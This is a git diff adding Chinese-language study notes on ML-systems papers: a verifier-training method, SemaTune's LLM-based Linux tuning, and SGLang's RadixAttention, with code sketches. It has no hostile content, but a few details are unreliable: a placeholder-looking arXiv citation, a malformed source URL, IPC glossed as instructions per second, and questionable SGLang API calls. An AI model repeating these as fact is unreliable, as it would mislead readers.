+- **Process Reward Model（PRM）**：逐步打分；STV 产出**可操作的文本诊断**，直接驱动改写。
+- **Prefix-conditioning**：把参考答案前缀拼进生成上下文；论文 ablation 显示不如 ViL+STV 的诊断反馈。
+- **On-policy distillation**：STV 把「特权信息蒸馏」用在**以前缺监督的验证器反馈质量**上。
+
+---
+
+## 局限与开放问题
+
+1. **训练 STV 仍需标准答案 \(y^\star\)**（与 RLVR 同类监督），不是无监督；开放问题是能否用多参考、环境反馈等替代。
+2. **数据域**：主实验为数学 + 科学选择题式推理；代码、开放问答泛化待验证。
+3. **算力分配**：生成器 RL、验证器 STV、测试时轮数 \(R\) 的最优三角尚未闭合。
+4. **自举循环**：更强验证器 → 更好 ViL 生成器 → 更难负样本 → 再训验证器；论文指出这是迭代自改进路线，但多轮外推未充分展开。
+5. **反馈滥用**：若验证器仍不够准，多轮 V-R 仍可能收敛到「听起来对」的错解——STV 缓解但未消除。
+
+---
+
+## 心智模型：一张图串起来
+
+```text
+  训练阶段（有 y*）                         测试阶段（无 y*）
+  ─────────────────                         ─────────────────
+  G 生成错误尝试 y                          G 生成 y₀
+       │                                         │
+       ▼                                         ▼
+  V*（教师，看见 y*）──蒸馏──► Vθ（学生）    Vθ 诊断 (v,f)
+       │                           │              │
+       └─ 学会「对照找茬」─────────┘              ▼
+                                            G 按 f 精炼 → …
+  ViL：冻结 Vθ，用最终正确性 RL 训 G
+        → round-0 也会变强
+```
+
+---
+
+## 读后自检（零基础友好）
+
+1. **V-R 和 Best-of-N 的本质区别？** BoN 独立采样再挑选；V-R **依赖反馈改写**同一条推理轨迹，能探索单样本 resampling 到不了的模式。
+2. **STV 的监督从哪来？** 同模型在「看见参考答案」时更容易写诊断；把这个分布蒸馏给「看不见参考答案」的学生验证器。
+3. **为什么 SFT 不够、要 OPD？** 验证器测试时自己采样，off-policy SFT 遇未见前缀会崩；OPD 在学生自己的 rollout 上对齐教师。
+4. **ViL 为何能提升 round-0？** 多轮诊断反馈作为训练上下文，迫使 \(G\) 内化推理习惯，不只学会「最后一轮蹭对」。
+5. **我想复现第一步该做什么？** 固定 \(G\)，用带 \(y^\star\) 的 prompt 跑教师打 \((v,f)\) 标签，on-policy 采样 attempt，OPD + 轻量 verdict RL 训 \(V_\theta\)，再接 V-R 评测。
+
+---
+
+## 参考
+
+- 论文：[arXiv:2605.30290](https://arxiv.org/abs/2605.30290)
+- 项目页：[STV Webpage](https://ar-forum.github.io/stv-webpage)
+- 训练集来源：DAPO（[Yu et al., 2025](https://arxiv.org/abs/2501.00000)）、SciKnowEval
+- 相关：RLVR、V-STaR、Shao et al. meta-verifier、on-policy distillation（Agarwal et al., 2023）
diff --git a/src/content/docs/papers/sematune-semantic-aware-online-os-tuning-with-llms-arxiv-2605-15026.md b/src/content/docs/papers/sematune-semantic-aware-online-os-tuning-with-llms-arxiv-2605-15026.md
new file mode 100644
index 000000000..ccb671e00
--- /dev/null
+++ b/src/content/docs/papers/sematune-semantic-aware-online-os-tuning-with-llms-arxiv-2605-15026.md
@@ -0,0 +1,216 @@
+---
+title: SemaTune — Semantic-Aware Online OS Tuning with LLMs
+来源: https://arxiv.org/abs/2605-15026
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# SemaTune：用大语言模型做语义感知的在线系统调优
+
+## 一、从日常类比开始
+
+你买回来一台电脑，里面有很多"旋钮"（knobs）：CPU 的频率上限、内存的调度策略、磁盘的 I/O 优先级、网络的轮询间隔……这些旋钮各自有合法的数值范围，但真正决定性能的是 **旋钮之间的组合**。
+
+想象一下：你正在开车，仪表盘上有很多指示灯。传统的调优方法只看单个数字——比如"转速是 3000"——然后就踩油门或刹车。但如果转速高是因为你在爬坡，和因为你在赛道上飞驰，含义完全不同。传统的调优方法就是 "语义盲的"（semantically blind）：它不理解数字背后的含义。
+
+SemaTune 的核心想法是：让一个大语言模型来当你的"老司机"。它不只看数字，还能结合旋钮的名字、当前的系统信号、最近的操作记录，来理解"现在这个组合设置合不合理"。
+
+## 二、现有方法的三个致命问题
+
+### 2.1 数值合法 ≠ 策略合理
+
+MLOS（当前最强的非 LLM 调优系统）在处理 Memcached 时，多次提出语义上说不通的组合：
+
+- 把 `minperfpct`（最低性能百分比）设为 70%，把 `maxperfpct`（最高性能百分比）设为 10%。下限比上限还高，逻辑矛盾。
+- 极端繁忙轮询 + 最浅休眠状态 + 几十毫秒的调度时间片 —— 单独看每个值都合法，但组合起来对延迟敏感的服务就是灾难。
+
+结果：p99 延迟从 1.43ms 飙到 68.38ms，吞吐量却看起来"还不错"，掩盖了尾巴上的严重退化。
+
+### 2.2 缺少应用指标时，代理信号会骗人
+
+很多生产环境拿不到应用的真实延迟数据。研究者常用 IPC（每秒指令数）或缓存缺失率来替代。但 SemaTune 证明：同一个 IPC 值，在不同调度行为和内存压力下含义完全不同。用 IPC 作为优化目标，p99 延迟比直接用应用指标差 2 倍。
+
+### 2.3 旋钮越多，风险指数级增长
+
+Linux 暴露了超过 1200 个可调旋钮。当 MLOS 从调 1 个旋钮扩展到调 32 个旋钮时，PostgreSQL 的 p99 延迟直接恶化 50%。不是因为搜索空间变大了，而是因为旋钮间的交互变多了，错误组合更难恢复。
+
+## 三、核心概念：语义感知调优
+
+### 3.1 什么"语义"？
+
+"语义"在这里指的是 **旋钮组合的实际含义**，而不是它们各自的数值。例如：
+
+- `net.core.busy_poll = 500` 加上 `idle_states = shallow` 表示"用 CPU 周期换低延迟"
+- `minperfpct > maxperfpct` 表示"逻辑矛盾"
+- 高 CPU 饱和 + 运行队列增长 + 深休眠状态 = "CPU 被绑住了，但功率策略还在降频"
+
+LLM 的作用就是理解这些组合的含义，像人一样说"这个组合不对"。
+
+### 3.2 SemaTune 的三重设计
+
+1. **双循环控制器**（Dual-Loop Controller）：快循环（Instant）每 1-5 秒做一次小的语义校正，慢循环（Reasoning）每几十秒做一次战略调整
+2. **跨会话记忆**（Cross-Run Memory）：把之前调优的经验存成向量，下次遇到类似工作负载时自动检索，避免从头开始
+3. **类型化验证**（Typed Validation）：LLM 的输出只是"建议"，必须通过参数验证器才能写入系统，绝不直接执行命令
+
+## 四、代码示例
+
+### 4.1 上下文构建：LLM 看到的调优快照
+
+SemaTune 每轮调优都会构建一个结构化的提示词，包含会话规格和每轮更新两部分。下面是一个简化的例子，展示 LLM 在调优时看到的上下文长什么样：
+
+```yaml
+# SemaTune 的决策上下文（Prompt 结构简化版）
+
+# === 会话规格（本轮调优开始时就固定了） ===
+session:
+  role: "OS tuning agent for a running workload"
+  goal: "minimize p99 latency for PID 1234"
+  constraints:
+    cpu_power_max: "60W"
+
+# 当前可调旋钮列表（含类型、范围、描述）
+knobs:
+  - name: "wakeup_granularity_ns"
+    type: "integer"
+    range: [100_000, 1_000_000_000]
+    desc: "调度器唤醒粒度的纳秒数"
+  - name: "busy_poll"
+    type: "integer"
+    range: [0, 1000]
+    desc: "网络栈的忙轮询微秒数"
+  - name: "cstate_max"
+    type: "categorical"
+    values: ["C0", "C1", "C6", "C10"]
+    desc: "CPU 最浅允许的空闲状态（越浅越快，但越耗电）"
+  - name: "min_perf_pct"
+    type: "integer"
+    range: [0, 100]
+    desc: "CPU 最低性能百分比"
+  - name: "max_perf_pct"
+    type: "integer"
+    range: [0, 100]
+    desc: "CPU 最高性能百分比"
+
+# 之前调优的经验（跨会话记忆，仅在有历史时出现）
+prior:
+  - "cstate_max=C1 改善了 p99，C6 导致不稳定"
+  - "min_granularity_ns < 100us 会导致抖动"
+
+# === 每轮更新（每一轮调优都刷新） ===
+iteration_update:
+  current_config:
+    cstate_max: "C1"
+    min_perf_pct: 30
+    max_perf_pct: 100
+    busy_poll: 100
+
+  latest_metrics:
+    p99_latency_ms: 12.21
+    ipc: 1.71
+    power_w: 58
+    run_queue_length: 2.3
+
+  recent_history:
+    - iter_1: set cstate_max=C2 → p99=15.11ms（变差了）
+    - iter_2: set cstate_max=C1 → p99=11.37ms（恢复，最佳）
+```
+
+这里的关键是：LLM 看到的不是孤立的数字，而是 **旋钮名称 + 类型 + 范围 + 描述 + 历史结果 + 当前信号** 的组合。这让它能像人一样推理"C1 比 C6 更适合当前负载"。
+
+### 4.2 双循环架构的伪代码
+
+SemaTune 的核心控制循环用伪代码表示如下：
+
+```python
+class SemaTune:
+    def __init__(self, workload_pid, knob_schema):
+        self.knobs = knob_schema
+        self.memory = CrossRunMemory()          # 跨会话记忆
+        self.validator = ParameterValidator()   # 类型化验证器
+        self.instant_tuner = LLMTuner(model="fast")    # 快循环
+        self.reasoning_tuner = LLMTuner(model="deep")  # 慢循环
+
+    def run_loop(self, interval=2.0):
+        """主调优循环"""
+        while True:
+            # 1. 收集遥测数据
+            telemetry = self.api_telemetry.collect()
+            config = self.get_current_config()
+
+            # 2. 构建决策上下文
+            context = ContextManager.build(
+                session_spec=self.session_spec,
+                telemetry=telemetry,
+                config=config,
+                recent_history=self.history,
+                prior=self.memory.retrieve(telemetry)  # 跨会话检索
+            )
+
+            # 3. 快循环（每轮都走）
+            fast_proposal = self.instant_tuner.propose(context)
+
+            # 4. 慢循环（每 N 轮做一次）
+            if self.iteration % self.reasoning_interval == 0:
+                slow_proposal = self.reasoning_tuner.propose(context)
+                context.reasoning_entry = slow_proposal
+                # 快循环从下一轮开始继承慢循环的策略
+
+            # 5. 类型化验证
+            validated = self.validator.check(
+                proposal=fast_proposal,
+                schema=self.knobs,
+                current_config=config
+            )
+
+            # 6. 应用变更
+            if validated:
+                self.apply_knobs(validated)
+                self.history.append({
+                    "config": validated,
+                    "metrics": telemetry,
+                    "justification": fast_proposal.justification
+                })
+            else:
+                print(f"Rejected: {fast_proposal.rejected_reason}")
+
+            time.sleep(interval)
+```
+
+这个架构的精妙之处在于：
+
+- **快循环**负责日常的小调整，语义理解保证不犯低级错误
+- **慢循环**定期做战略反思，快循环继承它的决策
+- **记忆模块**让系统越用越聪明
+- **验证器**确保 LLM 的建议再漂亮也不能直接执行
+
+## 五、SemaTune 的实际效果
+
+### 5.1 性能对比
+
+在 13 个真实工作负载、5 个基准测试套件上，调优最多 41 个 Linux 参数：
+
+| 对比对象 | 性能提升 |
+|---|---|
+| 默认设置 | +72.5% |
+| 最强非 LLM 基线（MLOS） | +153.3% |
+| 即使只用系统指标（不给应用指标） | 比给应用指标的基线还高 93.7% |
+
+### 5.2 成本
+
+一轮完整的稳态调优（约 30 个窗口），LLM API 调用成本约 **$0.20**。
+
+### 5.3 避免了灾难性退化
+
+MLOS 在 Xapian 基准测试中陷入了一个"队列主导的亚稳态"：一旦进入就很难恢复，吞吐量看起来正常但尾部延迟极高。SemaTune 因为有语义理解，从未进入过这种区域。
+
+## 六、总结
+
+SemaTune 解决了在线 OS 调优的一个根本问题：调优系统需要理解参数组合的 **语义含义**，而不是在数字空间里盲目搜索。它通过三种设计让 LLM 成为可行的在线调优器：
+
+1. **双循环**平衡了速度和深度推理
+2. **记忆**让经验可积累
+3. **类型化验证**把 LLM 的权威限制在安全边界内
+
+这就像是给自动驾驶系统加了一个老司机——老司机不会直接踩油门，但会告诉司机"这个速度在这个弯道上太危险了"。
diff --git a/src/content/docs/papers/sglang-2024.md b/src/content/docs/papers/sglang-2024.md
index 8d9bfcb77..89f538585 100644
--- a/src/content/docs/papers/sglang-2024.md
+++ b/src/content/docs/papers/sglang-2024.md
@@ -2,8 +2,8 @@
 title: SGLang — 把 LLM 程序当成共享前缀的树来跑
 来源: 'Zheng et al., "SGLang: Efficient Execution of Structured Language Model Programs", arXiv 2312.07104 / NeurIPS 2024'
 日期: 2026-05-31
-子分类: GPU 架构
-分类: 图形学
+子分类: ML 系统
+分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/papers/sglang-radixattention.md b/src/content/docs/papers/sglang-radixattention.md
new file mode 100644
index 000000000..179ed61c2
--- /dev/null
+++ b/src/content/docs/papers/sglang-radixattention.md
@@ -0,0 +1,383 @@
+---
+title: SGLang — 结构化语言模型程序的高效执行（RadixAttention 零基础笔记）
+来源: https://arxiv.org/abs/2312.07104
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：连锁快餐的「半成品库」
+
+想象你经营一家连锁快餐店，菜单上有很多组合套餐：
+
+- 每个顾客都要先拿**同一款底堡 + 同一套标准酱**（相当于 system prompt、few-shot 示例、RAG 检索到的长文档）。
+- 然后才加**各自不同的配料**（用户问题、本轮要生成的 JSON 字段、agent 的下一步动作）。
+
+如果厨房按「一单一做」来：
+
+1. 每个订单都从揉面开始；
+2. 100 个订单 = 把底堡和酱做 100 遍；
+3. GPU 上的 LLM 推理正是这样——**每个请求各自 prefill 一遍相同前缀**，算力白白烧掉。
+
+**SGLang**（*SGLang: Efficient Execution of Structured Language Model Programs*，Zheng 等，NeurIPS 2024，arXiv [2312.07104](https://arxiv.org/abs/2312.07104)）的做法像在中央厨房维护一棵**半成品树**：
+
+- 已经做好、且还在用的底堡路径，挂在树上；
+- 新订单先问：「我的开头和树上哪条路径最长匹配？」——匹配到的部分**直接复用**，只从分叉处继续加工；
+- 显存不够时，按 **LRU** 淘汰最久没人点的叶子节点。
+
+这棵「半成品树」在论文里叫 **RadixAttention**；整家店从「怎么写订单（前端 DSL）」到「怎么调度灶台（runtime）」是一体 co-design 的。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *SGLang: Efficient Execution of Structured Language Model Programs* |
+| 作者 | Lianmin Zheng, Liangsheng Yin, Zhiqiang Xie 等（Stanford / UC Berkeley / SJTU 等） |
+| 会议 | NeurIPS 2024 |
+| 核心贡献 | **前端 DSL** + **SGLang Runtime (SRT)**，运行时两大优化：**RadixAttention**、**压缩 FSM** |
+| 实测 | 相对 vLLM / Guidance / LMQL，吞吐最高 **6.4×**，延迟最高 **3.7×** |
+| 开源 | [github.com/sgl-project/sglang](https://github.com/sgl-project/sglang) |
+
+论文把现代 LLM 用法概括成 **Language Model Programs（LM Programs）**——不是单次 `chat.completions`，而是用程序调度**多次**生成调用，中间夹控制流、工具调用、结构化输入输出。典型场景：
+
+- Agent（ReAct、Generative Agents）
+- Tree-of-Thought / Skeleton-of-Thought
+- Few-shot 评测（MMLU、HellaSwag）
+- JSON / 正则约束解码
+- 多轮对话、RAG pipeline
+
+SGLang 要同时解决两件事：
+
+1. **编程难**：字符串拼接、并行分支、解析输出，手写 OpenAI 式 API 代码又臭又长；
+2. **执行慢**：多次调用之间大量**共享前缀**，但 vLLM 等引擎请求结束就丢 KV cache，下次从头算。
+
+论文 Fig. 1 的整体架构可以用下面这张图概括——**前端 DSL** 和 **SGLang Runtime (SRT)** 是 co-design 的，优化机会（RadixAttention、压缩 FSM）来自对「程序结构」的感知，而不是只看单次 HTTP 请求：
+
+```mermaid
+flowchart TB
+  subgraph frontend [前端 SGLang DSL]
+    PY[Python 控制流 + 原语]
+    INT[Stream Interpreter]
+    PY --> INT
+  end
+  subgraph runtime [SGLang Runtime SRT]
+    RAD[RadixAttention<br/>KV 前缀复用]
+    FSM[压缩 FSM<br/>结构化 decode]
+    SCH[Cache-aware 调度]
+    RAD --- SCH
+    FSM --- SCH
+  end
+  INT -->|异步提交 gen/fork| runtime
+  runtime --> GPU[GPU 连续批处理 + PagedAttention]
+```
+
+---
+
+## 为什么重要
+
+不理解 SGLang，下面几件事很难讲清：
+
+- 为什么 **vLLM 已经用 PagedAttention 管好了显存**，agent 场景还要换/加 SGLang——PagedAttention 管的是「块怎么放」，RadixAttention 管的是「相同语义前缀算不算第二遍」
+- 为什么 **结构化 JSON 输出**在 SGLang 里可以比「每 token 调一次模型 + mask 非法 token」快一截——压缩 FSM 能**一次 forward 跳过整段确定字符**
+- 为什么 Chatbot Arena 生产环境能报出 **50%+ 的 RadixAttention 命中率**，首 token 延迟平均降 **1.7×**
+- 为什么后续 vLLM 也加了 **prefix caching**——思路被 SGLang 从「语义层复用」方向推动
+
+和 [[paged-attention-vllm]]、[[flash-attention]] 的关系：**正交**。FlashAttention 优化 attention 算子 IO；PagedAttention 优化 KV 物理布局；RadixAttention 优化**跨请求、跨 fork 的前缀复用**——可以叠在一起用。
+
+---
+
+## 核心概念
+
+### 1. KV cache 与前缀可复用性
+
+Transformer 自回归解码时，每生成一个新 token，都要对**之前所有 token**做 attention。为省重复计算，推理引擎把每层 attention 的 **Key / Value 张量**缓存下来，叫 **KV cache**。
+
+关键性质：**第 t 个 token 的 KV 只依赖位置 1…t-1 的 token**。因此：
+
+- 两个请求若 prompt 前 500 token 完全相同，这 500 token 对应的 KV **不必算两遍**；
+- 多轮对话里，历史轮次是下一轮的超长共享前缀；
+- `fork()` 出来的并行分支，共享 fork 点之前的全部 KV。
+
+传统 serving：请求结束 → 释放该请求 KV → 下一请求从零 prefill。  
+SGLang：**把 KV 当 cache 留着**，用 radix tree 索引。
+
+### 2. RadixAttention：radix tree + LRU + 引用计数
+
+**Radix tree（基数树）** 是压缩版前缀树：边可以带**一段 token 序列**而不只是单个 token，省节点数。
+
+SGLang 维护 **token 序列 → KV cache 块** 的映射：
+
+- 新请求到达：在树上做**最长前缀匹配**，命中部分直接挂接已有 KV；
+- 未命中后缀：分配新节点，继续 prefill；
+- 显存压力：**LRU 淘汰叶子**；父节点仍可能被其他请求引用；
+- 正在运行的 batch：节点有 **ref count**，使用中不可 evict；
+- KV 物理存储仍可用 **paged layout**（与 vLLM 兼容），RadixAttention 管的是**逻辑共享**。
+
+论文 Fig. 3 用九步动画说明：两个 chat session 如何共享 system prompt、few-shot batch 如何共享 examples、self-consistency 采样如何复用同一题干的 KV。
+
+**Cache-aware scheduling**：等待队列里不盲目 FCFS，而是优先调度**与当前树匹配前缀更长**的请求，提高命中率。离线最优可证：在 cache 足够大时，对 radix tree 做 **DFS** 等价于最长共享前缀优先。
+
+**Frontend Hint**：`fork` 时前端先把**共享前缀**发给 runtime 插入树，再发各分支差异部分——前后端 co-design，调度更简单。
+
+### 3. 压缩有限状态机（Compressed FSM）
+
+约束解码（JSON schema、正则）常把正则编译成 **FSM**。朴素做法每步只允许合法 token，**一步 decode 一个 token**。
+
+但很多步其实**没有分支**：例如输出固定字面量 `"summary": "`，下一个 token 唯一确定，却照样调用模型 N 次。
+
+SGLang 把 FSM 里「单入单出」的连续边**压缩成一条边**，一次 forward **注入多个确定 token**（compressed FSM）。JSON  benchmark 上仅此一项吞吐约 **1.6×**；若不对 FSM 预编译复用，还会慢 **2.4×**。
+
+### 4. 前端 DSL 与执行模型
+
+SGLang 是嵌在 Python 里的 **DSL**，核心原语：
+
+| 原语 | 作用 |
+|------|------|
+| `+=` / `extend` | 追加 prompt 文本或多模态输入 |
+| `gen` | 调用模型生成，可带 `regex` 约束 |
+| `select` | 从选项列表中选最高概率项 |
+| `fork` / `join` | 复制 prompt 状态并行探索，再合并 |
+| `image` / `video` | 多模态输入 |
+
+执行方式类似 **异步 CUDA kernel**：`gen` 非阻塞提交到 stream executor，Python 继续跑；取结果时再同步。程序可被 trace 后编译成计算图（论文附录），默认用解释器模式。
+
+### 5. API Speculative Execution（黑盒 API）
+
+对 OpenAI 等**只能调 HTTP、改不了 KV** 的模型：第一次 `gen` 时**故意多生成几个 token**（忽略 stop），后面 primitive 若匹配上则**免一次 API  round-trip**，省 latency 和重复 input token 费用。
+
+---
+
+## 代码示例
+
+### 示例 1：Branch-Solve-Merge 多维度评审（论文 Fig. 2 风格）
+
+下面这段展示：**图像 + 作文**输入、`select` 分支、`fork` 并行、`regex` 约束 JSON——正是论文用来对比「手写 OpenAI API 要多 2.1× 行数」的那类程序。
+
+```python
+import sglang as sgl
+
+@sgl.function
+def multi_dimensional_judge(s, image_path, essay):
+    s += sgl.image(image_path)
+    s += "Essay:\n" + essay + "\n"
+
+    # 先判断作文是否与图片相关
+    s += "Is the essay related to the image?"
+    s += sgl.select(sgl.SYSTEM, ["Yes", "No"], name="related")
+
+    if s["related"] == "Yes":
+        # 三个维度并行评审——fork 共享前缀 KV
+        forks = s.fork(3)
+        dimensions = ["relevance", "coherence", "grammar"]
+        for f, dim in zip(forks, dimensions):
+            f += f"Rate {dim}: "
+            f += sgl.gen("judgment", max_tokens=64)
+
+        s += "Summary: "
+        s += sgl.gen("summary", max_tokens=128)
+        s += "Grade: "
+        s += sgl.gen(
+            "grade",
+            regex=r"[A-F]",  # 压缩 FSM：字母等级可跳步
+        )
+    else:
+        s += '{"error": "unrelated"}'
+
+    return s
+```
+
+Runtime 看到 `fork(3)` 就知道三条分支共享「图片 + 作文 + 相关性问题」整段 KV；`regex=r"[A-F]"` 触发压缩 FSM，减少无效 decode 步数。
+
+### 示例 2：Few-shot + 多选题——RadixAttention 主战场
+
+MMLU 类 benchmark：1000 道题共用同一份 5-shot examples。vLLM 会对每题重算 examples 的 KV；SGLang 在树上只保留一份。
+
+```python
+import sglang as sgl
+
+FEW_SHOT = """
+Q: What is 2+2? A: 4
+Q: Capital of France? A: Paris
+... (5 examples)
+"""
+
+@sgl.function
+def mmlu_item(s, question, choices):
+    s += FEW_SHOT  # 所有题目共享——RadixAttention 核心收益点
+    s += f"Q: {question}\n"
+    for i, c in enumerate(choices):
+        s += f"({chr(65+i)}) {c}\n"
+    s += "Answer:"
+    s += sgl.select(sgl.SYSTEM, choices, name="answer")
+
+# 批量跑 512 题：cache hit rate 论文报告可达 90%+
+# 吞吐相对 vLLM 常见 2–4×（取决于 batch 与 examples 长度）
+```
+
+### 示例 3：启动 Runtime + 约束 JSON（部署最小闭环）
+
+```bash
+# 终端 1：启动 SRT（SGLang Runtime）
+python -m sglang.launch_server \
+  --model-path meta-llama/Llama-3.1-8B-Instruct \
+  --port 30000
+```
+
+```python
+# 终端 2：客户端程序
+import sglang as sgl
+
+sgl.set_default_backend(sgl.RuntimeEndpoint("http://127.0.0.1:30000"))
+
+@sgl.function
+def extract_person(s, bio_text):
+    s += "Extract person info as JSON.\n"
+    s += bio_text + "\nJSON:"
+    s += sgl.gen(
+        "json",
+        regex=r'\{"name":"[^"]+","age":[0-9]+\}',
+    )
+
+state = extract_person.run(bio_text="Alice is 30 and lives in NYC.")
+print(state["json"])
+```
+
+`regex=` 路径走压缩 FSM；若同一 `bio_text` 前缀在并发请求间重复，RadixAttention 自动复用 prefill。
+
+---
+
+## 性能数据（论文摘要）
+
+| 场景 | 主要加速来源 | 相对 vLLM 量级（论文） |
+|------|----------------|------------------------|
+| 5-shot MMLU | RadixAttention 复用 examples | 吞吐明显提升 |
+| HellaSwag | examples + 问题前缀两级共享 | 同上 |
+| ReAct / Generative Agents | 模板 + 历史调用前缀 | 2–5× 常见 |
+| Tree-of-Thought | fork 并行 + KV 复用 | 高 |
+| JSON decoding | 压缩 FSM | 最高 **6.4×** 吞吐 |
+| 多轮 chat（短输出） | 历史轮次 KV | 明显 |
+| 多轮 chat（长输出） | 解码占主导，共享少 | 接近 1× |
+| LLaVA 多模图像问答 | 同图 hash 作 radix key | 最高 **6×** |
+
+Chatbot Arena 生产数据（论文 §6.2）：LLaVA-Next-34B RadixAttention 命中率 **52.4%**，Vicuna-33B **74.1%**。
+
+RadixAttention **无复用场景开销**：ShareGPT 100 请求总耗时 74.3s，树维护仅 **0.2s（<0.3%）**——因此可默认开启。
+
+---
+
+## 与 vLLM / Guidance 的对比
+
+| 维度 | vLLM | Guidance / LMQL | SGLang |
+|------|------|-----------------|--------|
+| KV 物理管理 | PagedAttention | 依后端而定 | 兼容 paged + radix 逻辑共享 |
+| 跨请求前缀复用 | 后期加 prefix caching（可选） | 有限 | **RadixAttention 默认系统化** |
+| 结构化 decode | 外部库 | token 级 mask | **压缩 FSM，多 token 一步** |
+| 程序内并行 | 无 DSL | 弱 / 无 fork | **fork/join 一等公民** |
+| 自研 runtime | SRT | 多后端 | **SRT，与 DSL co-design** |
+
+选型经验（论文 + 社区实践）：
+
+- **前缀重复率高**（agent、RAG、few-shot、多轮）→ SGLang 优势明显；
+- **单轮随机短 prompt** → vLLM 足够；
+- **极致单请求延迟** → TensorRT-LLM 等内核向方案仍可能更优；
+- 生产常见组合：**结构化/agent 流量走 SGLang，通用 chat 走 vLLM**。
+
+---
+
+## 踩坑与局限
+
+1. **命中率决定一切**：请求前缀各不相干时，收益接近 0，只剩树维护的微小开销。
+2. **Cache-aware 调度可能饥饿**：论文承认 FCFS 公平性与 cache 贪心存在张力，公平调度仍是开放问题。
+3. **压缩 FSM 依赖已知 schema**：正则/JSON 模板固定时最强；schema 运行时动态生成则退化。
+4. **不是训练框架**：SGLang 定位 inference / serving；训练看 [[megatron-core-moe-2026]]、PyTorch FSDP 等。
+5. **多模态 key**：图像 KV 用**图像 hash** 作 radix key，同图不同问法才能复用视觉 prefix。
+
+---
+
+## 学到什么（零基础 checklist）
+
+1. **LLM 应用正在从「一次聊天」变成「程序」**——多次 `gen`、分支、工具、结构化 I/O；优化要对着**程序结构**做，不能只优化单次 forward。
+2. **KV cache 是可复用的中间结果**，不是请求私有、用完即扔的临时变量——这是 RadixAttention 的第一性原理。
+3. **Radix tree + LRU** 把「哪些前缀还活着」变成可调度、可淘汰的 cache 问题，和 CPU cache / CDN 是同一类思路。
+4. **结构化输出里大量 token 是确定的**——FSM 压缩是「免费加速」，不必每个字符都问模型。
+5. **前端写清楚 fork 与共享**，后端才敢做激进调度——DSL 不是语法糖，是指挥 runtime 的接口。
+
+---
+
+## 对照阅读路径（与 PagedAttention / vLLM 叠读）
+
+若你已读过 [[paged-attention-vllm]]，可以用「三层 KV 优化」把几篇笔记串起来——**互不替代，可叠加**：
+
+| 层次 | 论文 / 系统 | 解决什么问题 | 类比 |
+|------|-------------|--------------|------|
+| 算子 | [[flash-attention]] | attention 本身 HBM IO 太多 | 厨师在操作台上一口气切完，少跑仓库 |
+| 物理布局 | [[paged-attention-vllm]] | KV 占显存碎片化，batch 上不去 | 笔记分页存抽屉，不必连续长桌 |
+| 语义复用 | **SGLang / RadixAttention** | 相同 prompt 前缀被重复 prefill | 中央厨房保留已做好的底堡，新单只加配料 |
+| 批调度 | [[orca-continuous-batching]] | 请求到达时间不齐，GPU 空转 | 外卖拼单，凑满一锅再开火 |
+| decode 深度 | [[speculative-decoding-leviathan-2023]] | 大模型逐 token 串行慢 | 学生先猜几个字，老师一次批改 |
+
+**推荐阅读顺序（零基础）**：
+
+1. [[paged-attention-vllm]] —— 先搞清 KV cache 是什么、为什么占显存
+2. **本篇 SGLang** —— 再理解「前缀相同」时为何不必算第二遍
+3. [[speculative-decoding-leviathan-2023]] —— 最后看 decode 阶段另一维加速
+
+**一句话区分 vLLM 与 SGLang**：vLLM 的 PagedAttention 回答「**一块 KV 在显存里放哪**」；RadixAttention 回答「**这块 KV 能不能给下一个请求接着用**」。vLLM 后来也加了 optional prefix caching，思路与 RadixAttention 同源。
+
+---
+
+## 最小可运行 Demo（本地验证 RadixAttention 收益）
+
+下面脚本不依赖业务逻辑，只演示 **few-shot 前缀共享**——第二、三次 `run` 应比第一次更快（首 token / prefill 时间下降，具体数值依 GPU 而定）。
+
+```bash
+pip install "sglang[all]"   # 或按官方文档安装
+python -m sglang.launch_server \
+  --model-path meta-llama/Llama-3.2-1B-Instruct \
+  --port 30000 \
+  --log-level info
+```
+
+```python
+# demo_radix_hit.py — 另开终端运行
+import time
+import sglang as sgl
+
+sgl.set_default_backend(sgl.RuntimeEndpoint("http://127.0.0.1:30000"))
+
+SHARED = "You are a helpful assistant.\n" + ("Q: 2+2?\nA: 4\n" * 5)
+
+@sgl.function
+def one_shot(s, question):
+    s += SHARED
+    s += f"Q: {question}\nA:"
+    s += sgl.gen("ans", max_tokens=8)
+
+questions = ["Capital of Japan?", "Capital of France?", "Capital of Germany?"]
+for i, q in enumerate(questions):
+    t0 = time.perf_counter()
+    state = one_shot.run(question=q)
+    elapsed = time.perf_counter() - t0
+    print(f"[{i+1}] {elapsed:.2f}s  ans={state['ans']!r}")
+```
+
+观察 server 日志中的 **cache hit / prefix match** 相关指标；三题共用 `SHARED` 时，第 2、3 次 prefill 通常明显短于第 1 次。若每题 prompt 完全不同，则几乎无收益——这与论文「命中率决定一切」一致。
+
+---
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv 2312.07104](https://arxiv.org/abs/2312.07104)
+- 官方文档：[docs.sglang.ai](https://docs.sglang.ai/)
+- LMSys 博客：[Fast and Expressive LLM Inference with SGLang](https://lmsys.org/blog/2024-01-17-sglang/)
+
+## 关联
+
+- [[sglang-2024]] —— 同论文的 shorter 笔记
+- [[paged-attention-vllm]] —— KV 物理层：分页管理
+- [[orca-continuous-batching]] —— 连续批处理，与 RadixAttention 可叠加
+- [[speculative-decoding-leviathan-2023]] —— 另一维 decode 加速（投机解码）
+- [[projects/sglang]] —— 开源项目与部署实践
diff --git a/src/content/docs/papers/sgx-2013.md b/src/content/docs/papers/sgx-2013.md
index dbda9daa6..d067b1045 100644
--- a/src/content/docs/papers/sgx-2013.md
+++ b/src/content/docs/papers/sgx-2013.md
@@ -190,4 +190,7 @@ SGX 的安全边界不包含侧信道（Spectre 类）攻击，这是其威胁
 - [[costan-sgx-explained-2016]] —— Intel SGX 详解 — 在不可信云里圈一块硬件保险箱
 - [[haven-2014]] —— Haven — 把整个应用装进 CPU 黑盒，让云服务商也看不见
 - [[ngabonziza-trustzone-2016]] —— TrustZone — ARM 给 CPU 装上"双重人格"隔离安全世界
+- [[sigstore-cosign-2022]] —— Sigstore — 让每个人都能给软件「盖公证章」
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
+- [[webauthn-fido2]] —— WebAuthn Level 2 — 用公钥凭证替代密码的 Web 标准
 
